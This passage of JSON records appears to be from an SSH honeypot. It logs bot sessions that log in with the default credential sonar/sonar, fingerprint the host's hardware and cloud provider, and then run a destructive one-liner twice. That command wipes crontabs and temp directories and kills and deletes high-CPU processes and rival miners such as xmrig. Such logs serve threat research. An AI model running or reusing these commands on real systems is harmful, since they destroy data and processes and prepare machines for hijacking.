$1}'"},{"seq":22,"at":"2026-08-20T19:47:23.582680+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T19:47:23.873790+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:47:28.391735+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T19:47:28.559910+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T19:47:31.428932+00:00","kind":"input","latency_ms":null,"data":"echo sonar > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"sonar","method":"password","accepted":true,"tier":"other"}]}
{"id":"b735e4b2-7af6-4ecb-9877-9f66209e5ed1","name":"rustic-emerald-bison","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.66","src_port":52342,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-20T10:58:27.270273+00:00","ended_at":"2026-08-20T10:58:28.617220+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sonar","password":"sonar","method":"password","accepted":true,"tier":"other"}]}
{"id":"54875024-ddd6-4d7e-ade9-78d92c456c78","name":"mighty-prairie-vicuna","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":51752,"username":"sonar","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":183,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:58:26.860624+00:00","ended_at":"2026-08-20T10:58:28.618161+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1597,"events":[{"seq":1,"at":"2026-08-20T10:58:17.578821+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:58:17.579439+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:58:17.748278+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:58:18.323555+00:00","kind":"output","latency_ms":574,"data":"x86_64"},{"seq":5,"at":"2026-08-20T10:58:18.499327+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:58:18.991244+00:00","kind":"output","latency_ms":490,"data":"7:48"},{"seq":7,"at":"2026-08-20T10:58:19.188743+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:58:19.189169+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:58:19.356626+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:58:20.295330+00:00","kind":"output","latency_ms":938,"data":"0000:00:02.0 VGA compatible controller: ASPEED Technology, Inc. ASPEED Graphics Family\n"},{"seq":11,"at":"2026-08-20T10:58:20.494397+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:58:21.057601+00:00","kind":"output","latency_ms":563,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T10:58:21.246689+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:58:21.857605+00:00","kind":"output","latency_ms":609,"data":"AS8075 Microsoft Corporation"},{"seq":15,"at":"2026-08-20T10:58:22.039436+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:58:22.665737+00:00","kind":"output","latency_ms":625,"data":"0"},{"seq":17,"at":"2026-08-20T10:58:22.835149+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:58:23.481268+00:00","kind":"output","latency_ms":646,"data":"Unable to determine the device handle for GPU0: Unknown Error"},{"seq":19,"at":"2026-08-20T10:58:23.650875+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:58:24.463486+00:00","kind":"output","latency_ms":811,"data":"0"},{"seq":21,"at":"2026-08-20T10:58:24.723532+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:58:25.073626+00:00","kind":"output","latency_ms":null,"data":""},{"seq":23,"at":"2026-08-20T10:58:25.258334+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T10:58:26.281364+00:00","kind":"output","latency_ms":1022,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T10:58:26.620206+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T10:58:26.861456+00:00","kind":"input","latency_ms":null,"data":"echo sonar > /tmp/d.log"}],"credentials":[{"username":"sonar","password":"sonar","method":"password","accepted":true,"tier":"other"}]}